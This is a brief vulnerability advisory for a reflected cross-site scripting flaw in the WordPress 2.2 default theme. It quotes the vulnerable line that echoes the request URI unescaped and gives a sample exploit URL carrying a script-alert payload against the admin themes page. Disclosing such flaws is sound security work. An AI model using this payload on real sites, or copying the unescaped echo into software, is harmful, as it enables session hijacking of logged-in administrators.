wordpresstheme-xss.txt

`There is an XSS in the Wordpress default theme. Tested on WordPress version 2.2  
  
Filename functions.php, line 387.  
Code:  
  
<form style="display: inline" method="post" name="hicolor"  
id="hicolor" action="<?php echo $_SERVER['REQUEST_URI']; ?>">  
  
$_SERVER['REQUEST_URI'] is directly echoed to the user.  
  
This problem can be exploited if the adminstrator is logged in.  
  
Sample exploit URL.  
http://www.example.com/wp-admin/themes.php?page=functions.php&zmx"><script>alert(1)</script>  
  
There are other XSS vulnerabilities in popular Wordpress themes.  
More details on http://www.xssnews.com/  
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